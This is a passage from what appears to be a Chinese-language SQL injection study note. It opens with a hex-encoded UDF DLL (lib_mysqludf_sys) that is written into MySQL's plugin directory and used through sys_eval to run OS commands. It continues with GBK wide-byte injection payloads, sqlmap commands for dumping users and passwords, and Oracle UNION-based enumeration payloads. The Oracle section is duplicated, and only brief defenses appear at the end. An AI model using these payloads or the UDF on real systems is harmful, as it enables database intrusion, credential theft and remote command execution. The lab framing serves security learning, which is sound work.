08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A10741048FFC0881783E9018A10488D7F0175F0F3C3FC415BEB0848FFC6881748FFC78A1601DB750A8B1E4883EEFC11DB8A1672E68D410141FFD311C001DB750A8B1E4883EEFC11DB8A1673EB83E8037217C1E0080FB6D209D048FFC683F0FF0F843A0000004863E88D410141FFD311C941FFD311C9751889C183C00241FFD311C901DB75088B1E4883EEFC11DB73ED4881FD00F3FFFF11C1E83AFFFFFFEB835E4889F7B900120000B2004889FBEB2C8A074883C7013C80720A3C8F7706807FFE0F74062CE83C0177233817751F8B072500FFFFFF0FC829F801D8AB4883E9048A074883C70148FFC975D9EB0548FFC975BE4883EC28488DBE007000008B0709C0744F8B5F04488D8C30B0A100004801F34883C708FF96ECA1000048958A0748FFC708C074D74889F94889FAFFC8F2AE4889E9FF96F4A100004809C074094889034883C308EBD64883C4285D5F5E5B31C0C34883C4284883C704488D5EFC31C08A0748FFC709C074233CEF77114801C3488B03480FC84801F0488903EBE0240FC1E010668B074883C702EBE1488BAEFCA10000488DBE00F0FFFFBB00100000504989E141B8040000004889DA4889F94883EC20FFD5488D871702000080207F8060287F4C8D4C24204D8B014889DA4889F9FFD54883C4285D5F5E5B488D4424806A004839C475F94883EC804C8B442418488B542410488B4C2408E91F79FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005CB0000054010000E404000000000000586000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E0000000000000000000000002CB20000ECB1000000000000000000000000000039B200001CB20000000000000000000000000000000000000000000044B200000000000052B200000000000062B200000000000072B200000000000080B200000000000000000000000000008EB200000000000000000000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000667265650000000000000000A727A15A0000000074B30000010000001200000012000000C0B2000008B3000050B300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000C010000000130000E0120000A011000089B300009FB30000BCB30000D7B30000E3B30000F6B3000007B4000010B4000020B400002EB4000037B4000047B4000055B400005DB400006CB4000079B4000081B4000090B4000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') into dumpfile 'D:/ProgramFiles/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll'
成功写入
从导入的dll文件创建执行命令的函数sys_eval()
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
直接利用创建的sys_eval()函数来执行命令
select sys_eval("ipconfig");
1.10 宽字节注入
php mysql_real_escape_string()函数:转义在SQL语句中使用字符串的特殊字符,进而防御SQL注入。
宽字节注入的原理:数据库后端使用双/多字节的编码方式来解析SQL语句,其中在该种字符集范围中包含低字节位是0x5C即\字符,这样就会导致转义字符失效从而实现绕过注入
编码格式:GBK 编码范围:0x8140~0xFEFE(包含0xDF5C)
0x5C即\字符,如果前面加DF,则0xDF5C组成为一个汉字
set Names xx 可以同时设置
SET character_set_client=XX;
SET character_set_connection=XX;
SET character_set_results=XX;
靶场:sqli-labs Less-36
前提:set Names gbk
?id=1%df' and 1=1%23
?id=1%df' and 1=2%23
?id=0%df' union select 1,null,group_concat(concat_ws(char(32,58,32),username,password)) from users%23
sqlmap使用
一些参数及含义:
-h或--hh参数:查看sqlmap的参数信息,双h显示全部
-v 显示详细信息,有1-6级,默认为1
--version 查看版本信息
-u: 指定url地址,用双引号括起来,一定要存在变量名称
-p: 只对指定的参数进行注入
实例:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id
--users参数:查看当前数据库所有用户
--banner参数:查看数据库版本信息
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id --users --banner
--dbs:查看目标数据库系统的所有库
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id --dbs
-d:指定数据库
--tables:查看指定库中的所有表
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id -D security --tables
-T :指定表
--columns:查看指定库表中的所有字段
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id -T users --columns
--C: 指定字段
--dump: 获取指定数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id -D security -T users -C password --dump
不加-C 可打印该表的所有信息
--cookie参数:指定cookie头,用于认证
--batch:采取默认选项,不进行询问
--data:使用POST方式来发送参数内容(--data="id=1"
-r:指定保存了HTTP请求内容的文件
2. Oracle
在Oracle中每个表空间中均存在一张虚拟表dual,该表没有实际的存储意义、永远只存储一条数据。dual是Oracle提供的最小工作表,只有一行一列,用于构成select的语法规则,Oracle保证dual里面永远只有一条记录。在Oracle中,select语句是不能不带表的,在没有表的情况下可以使用dual来构造语句,如select 1from dual;
select column,group_function(column) from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];
如何确定为Ora数据库
其报错信息有ORA
通过
1' and 1=1 --
1' and 1=2 --
判断是否存在注入
通过
' union select null,null from dual --
判断有几个字段,然后修改null,为字符串或数字,判断类型
查询数据库版本信息:
1' union select null,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%') from dual --
1' union select null,(SELECT version FROM v$version from dual --
查询数据库名:
1' union select null,(SELECT name FROM v$database) from dual --
1' union select null,(SELECT global_name FROM global_name) from dual --
查询用户权限:LISTAGG相当于mysql的group_concat,rownum限制行数,类似于mysql的limit
1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from session_privs where rownum <=10) from dual -- 前10行
1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from (select rownum rn,t.* from session_privs t) where rn<=10 and rn>=1) from dual-- 第1-10行
查询表信息:
1' union select null,(select LISTAGG(table_name,',') within group (order by owner) name from all_tables where owner='PENTEST') from dual --
SQL注入防御
- 过滤特殊字符
- 预编译:提前声明且编译特定格式的sql语句,将所有的外部输入视为纯字符串。
通过
' union select null,null from dual --
判断有几个字段,然后修改null,为字符串或数字,判断类型
查询数据库版本信息:
1' union select null,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%') from dual --
1' union select null,(SELECT version FROM v$version from dual --
查询数据库名:
1' union select null,(SELECT name FROM v$database) from dual --
1' union select null,(SELECT global_name FROM global_name) from dual --
查询用户权限:LISTAGG相当于mysql的group_concat,rownum限制行数,类似于mysql的limit
1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from session_privs where rownum <=10) from dual -- 前10行
1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from (select rownum rn,t.* from session_privs t) where rn<=10 and rn>=1) from dual-- 第1-10行
查询表信息:
1' union select null,(select LISTAGG(table_name,',') within group (order by owner) name from all_tables where owner='PENTEST') from dual --
SQL注入防御
- 过滤特殊字符
- 预编译:提前声明且编译特定格式的sql语句,将所有的外部输入视为纯字符串。